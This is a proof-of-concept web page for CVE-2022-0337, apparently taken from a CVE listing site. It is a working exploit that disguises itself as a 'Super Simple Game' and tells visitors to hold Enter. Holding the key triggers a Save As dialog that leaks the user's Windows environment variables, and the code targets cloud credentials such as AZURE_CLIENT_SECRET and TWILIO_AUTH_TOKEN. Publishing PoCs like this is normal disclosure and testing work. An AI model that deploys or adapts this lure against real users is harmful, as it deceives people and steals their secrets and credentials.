CVE-2022-0337 – CVE Helper

README.md
Rendering markdown...
POC / env.html HTML
⬇ Raw GitHub ✕ Close
<html>
  <head>
    <title>
      CVE-2022-0337 System environment variables leak on Google Chrome,
      Microsoft Edge and Opera
    </title>
    <meta charset="UTF-8" />
  </head>

  <style>
    body {
      background: rgba(29, 48, 109, 0.849);
      display: flex;
      justify-content: center;
      align-items: center;
      flex-direction: column;
    }

    h1,
    h2,
    h3 {
      -webkit-text-stroke: 1px #00000050;
    }

    h1 {
      color: #d96c06;
      font-size: 36px;
    }
    h2 {
      color: #1ebe8e;
      font-size: 46px;
    }
    h3 {
      color: #c6f91f;
      font-size: 18px;
    }
    h2 span {
      color: #cf4848;
      font-size: 70px;
    }

    #author {
      font-size: 28px;
    }

    span {
      font-weight: 100;
    }
  </style>

  <body>
    <script>
      //how many time enter clicked in row
      let countEnter = 0;
      //is file downloaded
      let isDownloaded = false;

      //on page load
      window.onload = function () {
        const body = document.querySelector("body");
        const pixel = document.querySelector("#pixel");

        body.onkeydown = (e) => (e.key == "Enter" ? clickedEnter() : 1);
        body.onkeyup = (e) => (e.key == "Enter" ? cancelEnter() : 1);

        const randomNumber = Math.floor(Math.random() * 990) + 1;
        const filename = `f${randomNumber}.f`;

        //List of environment variables that hacker is interested in.
        const environmentVariables = [
          "USERNAME",
          "USERDOMAIN",
          "SESSIONNAME",
          "COMPUTERNAME",
          "KEY_VAULT_URL",
          "SECRET_NAME",
          "AZURE_TENANT_ID",
          "AZURE_CLIENT_ID",
          "AZURE_CLIENT_SECRET",
          "TWILIO_ACCOUNT_SID",
          "TWILIO_AUTH_TOKEN",
          //'TOKEN',
          //'PASSWORD'
        ];

        const suggestedName =
          environmentVariables.map((x) => `%${x}%`).join("@") + filename;

        pixel.addEventListener("click", async () => {
          //handle to get file
          const handle = await window.showSaveFilePicker({ suggestedName });
          //sometimes can throw an exception because file name is too big, but we can create more handles and put each 4 environmentVariables to deal with that problem
          //result from user
          const username = handle.name.split("@")[0];

          const userInfo = handle.name
            .replaceAll(filename, "")
            .split("@")
            .map(
              (x, i) =>
                `${environmentVariables[i]} = ${x.includes("%") ? "null" : x}`
            )
            .join("<br>");
          const guessWinPath = `C:/Users/${username}`;
          document.querySelector(
            "#userInfo"
          ).innerHTML = `USER'S ENVIRONMENT VARIABLES: <br>${userInfo} <br> guessWinPath = C:/users/${username}`;
          document.querySelector("#gameover").textContent =
            "GAME OVER - Need refresh to start again";
        });
      };

      function clickedEnter() {
        countEnter++;
        //if button was hold more then 1 second and it wasn't downloaded - we can change !isDownloaded to countEnter % 30 === 0 to download many files
        if (countEnter > 5 && !isDownloaded) {
          pixel.click();
          //set file is downloaded
          isDownloaded = true;
        }
      }

      function cancelEnter() {
        //reset count enter if enter is not hold
        countEnter = 0;
      }
    </script>
    <!-- div used to click to open Save As dialog -->
    <div id="pixel"></div>
    <h3 id="userInfo"></h3>
    <h1>Super Simple Game<span>😻😻😻</span></h1>
    <h2><span>⌨️HOLD ENTER</span> for 2 seconds</h2>
    <h3>win $1,000,000 and rule the world! <span>🔥🔥🔥🚀</span></h3>
    <h3 id="author">
      Author:
      <a href="http://pulik.io" style="color: rgb(49, 161, 252)"
        >Maciej Pulikowski (pulik.io)</a
      >
      <span>🧙🐱‍👓</span>
    </h3>
    <h3 id="gameover"></h3>
  </body>
</html>